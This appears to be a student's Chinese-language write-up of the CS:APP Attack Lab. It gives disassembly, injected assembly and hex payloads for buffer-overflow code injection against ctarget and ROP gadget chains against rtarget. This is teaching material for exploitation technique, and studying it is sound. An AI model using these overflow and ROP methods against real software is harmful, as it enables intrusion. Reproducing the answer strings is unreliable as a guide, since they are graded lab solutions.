Attack Lab

这是大一暑假汇编课的实验。此次实验要求我们用利用缓冲区溢出的bug对目标源程序进行攻击,ctarget的缓冲区在内存中的位置不变,很容易执行植入的汇编代码,而rtarget则采用了内存随机化,几乎不可能预测缓冲区的起始地址,从而要使用ROP攻击,难度更大。


ctarget

level 1

首先对ctarget文件进行反汇编objdump -d ./ctarget>ctarget.s,在ctarget.s中搜索可以找到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00000000004017f5 <getbuf>:
4017f5: 48 83 ec 38 sub $0x38,%rsp
4017f9: 48 89 e7 mov %rsp,%rdi
4017fc: e8 7e 02 00 00 callq 401a7f <Gets>
401801: b8 01 00 00 00 mov $0x1,%eax
401806: 48 83 c4 38 add $0x38,%rsp
40180a: c3 retq

000000000040180b <touch1>:
40180b: 48 83 ec 08 sub $0x8,%rsp
40180f: c7 05 03 2d 20 00 01 movl $0x1,0x202d03(%rip) # 60451c <vlevel>
401816: 00 00 00
401819: bf 03 31 40 00 mov $0x403103,%edi
40181e: e8 ad f4 ff ff callq 400cd0 <puts@plt>
401823: bf 01 00 00 00 mov $0x1,%edi
401828: e8 97 04 00 00 callq 401cc4 <validate>
40182d: bf 00 00 00 00 mov $0x0,%edi
401832: e8 19 f6 ff ff callq 400e50 <exit@plt>

可见getbuf先在栈里开辟了0x38的空间,再callq Gets函数进行写入,callq自动将下一条语句地址压栈以便返回时使用。于是只需要先填充56个字符,再加上touch1函数地址0x40180b即可,考虑到x86为小端,可得到如下攻击字符串hex:

1
2
3
4
5
6
7
8
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
0b 18 40 00 00 00 00 00

level 2

此题要求给touch2传入参数,先看看它的反汇编代码:

1
2
3
4
5
6
7
0000000000401837 <touch2>:
401837: 48 83 ec 08 sub $0x8,%rsp
40183b: 89 fa mov %edi,%edx
40183d: c7 05 d5 2c 20 00 02 movl $0x2,0x202cd5(%rip) # 60451c <vlevel>
401844: 00 00 00
401847: 39 3d d7 2c 20 00 cmp %edi,0x202cd7(%rip) # 604524 <cookie>
40184d: 75 20 jne 40186f <touch2+0x38>

可见它是将寄存器edi与cookie进行对比,而从程序运行结果来看cookie=0x47db4e3a,又通过gdb调试可知读入数据的首地址是0x55652778,所以代码分三部分,第一部分修改edi,第二部分设置rsp以便ret到touch2,第三部分设置rsp以便ret到数据首地址,综合可得如下代码(标注了内存地址):

1
2
3
4
5
6
0x55652778: movl $0x47db4e3a,%edi
movq $0x1411938,%rax #处理touch2地址(不处理也无妨)
subq $0x1010101,%rax #此处是为了避免代码中出现不可见字符00
movq %rax,0x556527a0 #准备ret
movq $0x556527a0,%esp
retq
1
0x556527b0: 78 27 65 55             #buf溢出覆盖原有地址

level 3

查表可知0x47db4e3a的ascii码为34 37 64 62 34 65 33 61 00,根据题意,我们需要将上述数据的地址赋给edi,同时又要修改esp以确保后续函数的执行不会修改上述数据段,可得代码:

1
2
3
4
5
0x55652778: movl $0x55652778,%edi   #数据段地址
subl $0x40,%esp #将esp下移
pushq $0x401948 #touch3地址
retq
0x55652778: 34 37 64 62 34 65 33 61 00
1
0x556527b0: 78 27 65 55             #buf溢出覆盖原有地址

rtarget

level 2

题目要求将cookie传给rdi,而要操作rdi寄存器,有两种方式:

1
2
movq _____,%rdi
ret

或者

1
2
popq %rdi
ret

第一种方式hex代码为48 89 ?7 c348 89 ?f c3,在rtarget反汇编代码中检索可得

1
2
3
00000000004019ec <getval_277>:
4019ec: b8 48 89 c7 c3 mov $0xc3c78948,%eax
4019f1: c3 retq

其中48 89 c7 c3对应的汇编指令为

1
2
movq %rax,%rdi
ret

于是我们还需要一个popq %rax实现cookie到rax寄存器的过程,对应hex为58,检索可得

1
2
3
00000000004019f9 <setval_467>:
4019f9: c7 07 d2 d5 4f 58 movl $0x584fd5d2,(%rdi)
4019ff: c3 retq

综上得到攻击hex码为

1
2
3
4
fe 19 40 00 00 00 00 00 #popq %rax
3a 4e db 47 00 00 00 00 #cookie
ed 19 40 00 00 00 00 00 #movq %rax,%rdi
37 18 40 00 00 00 00 00 #touch2

最后只需在前面随意添加56字节长的字符作为偏置。


level 3

此题中输入在栈中的位置是可变的,不能通过gdb确定,于是需要从rsp寄存器获取,查表知movq %rsp,___的hex为48 89 e?,在反汇编代码中查找得到:

1
2
3
0000000000401ab2 <setval_317>:
401ab2: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)
401ab8: c3 retq

其中48 89 e0对应的汇编代码为movq %rsp,%rax

但此时获取的是下一条语句的地址,如果把数据就存储在此处,ret后将会执行以数据段为地址的代码从而导致segmentation fault,所以我们需要将数据存储在前面或者后面并将rax减去或者加上偏移量。经过一番尝试,addq subq inc dec均不能在farm中找到,最后尝试leaq ___,___,对应hex码为48 8d,检索可得:

1
2
3
0000000000401a21 <add_xy>:
401a21: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a25: c3 retq

其中48 8d 04 37对应汇编代码为leaq (%rdi,%rsi,1),%rax

使用gdb调试发现rsi的值为0x31,于是可得以下攻击代码:

1
2
3
4
b4 1a 40 00 00 00 00 00 #movq %rsp,%rax
ed 19 40 00 00 00 00 00 #movq %rax,%rdi
21 1a 40 00 00 00 00 00 #leaq (%rdi,%rsi,1),%rax
ed 19 40 00 00 00 00 00 #mov %rax,%rdi
1
34 37 64 62 34 65 33 61 00 #cookie
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×